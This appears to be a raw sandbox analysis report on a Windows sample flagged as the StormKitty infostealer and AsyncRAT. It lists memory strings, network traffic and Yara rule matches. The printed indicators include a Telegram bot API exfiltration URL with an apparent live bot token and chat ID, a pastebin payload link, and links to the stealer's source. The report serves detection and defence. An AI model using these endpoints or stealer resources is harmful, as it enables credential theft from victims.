Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.000000000366A000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003651000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003663000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=52871
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/file/bot
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgd
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty0&
Source: JGvCEaqruI.exe, 00000008.00000002.3743675961.00000000034BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKittyTC
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/7B75u64B
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13
Source: places.raw.8.dr	String found in binary or memory: https://support.mozilla.org
Source: places.raw.8.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: places.raw.8.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, tmp3A54.tmp.dat.8.dr, tmp39E3.tmp.dat.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: places.raw.8.dr	String found in binary or memory: https://www.mozilla.org
Source: places.raw.8.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: places.raw.8.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.0000000004761000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3749870374.0000000004261000.00000004.00000800.00020000.00000000.sdmp, tmp3C5E.tmp.dat.8.dr, places.raw.8.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: places.raw.8.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: JGvCEaqruI.exe, 00000008.00000002.3749870374.0000000004761000.00000004.00000800.00020000.00000000.sdmp, JGvCEaqruI.exe, 00000008.00000002.3749870374.0000000004261000.00000004.00000800.00020000.00000000.sdmp, tmp3C5E.tmp.dat.8.dr, places.raw.8.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49766 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_01924218	1_2_01924218
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_01926F90	1_2_01926F90
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_0192D424	1_2_0192D424
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B22698	1_2_07B22698
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B22688	1_2_07B22688
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B24C88	1_2_07B24C88
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B242D2	1_2_07B242D2
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B22AD0	1_2_07B22AD0
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B242D8	1_2_07B242D8
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B22AC0	1_2_07B22AC0
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B22260	1_2_07B22260
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 1_2_07B28953	1_2_07B28953
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_017F6390	8_2_017F6390
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_017F5AC0	8_2_017F5AC0
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_017F5778	8_2_017F5778
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_017F9760	8_2_017F9760
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_017F9750	8_2_017F9750
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_05F005F0	8_2_05F005F0
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_05F00600	8_2_05F00600
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_05F0C108	8_2_05F0C108
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_05F0C0F7	8_2_05F0C0F7
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_05F05D60	8_2_05F05D60
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Code function: 8_2_05F05D52	8_2_05F05D52

Source: JGvCEaqruI.exe, 00000001.00000002.1279640430.000000000153E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000002.1284797583.0000000007AA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000044E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000044E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000002.1281086171.00000000034E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000000.1263884019.0000000000FB2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamehqLJs.exe> vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000002.1283617854.0000000005BC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe, 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs JGvCEaqruI.exe
Source: JGvCEaqruI.exe	Binary or memory string: OriginalFilenamehqLJs.exe> vs JGvCEaqruI.exe

Source: JGvCEaqruI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
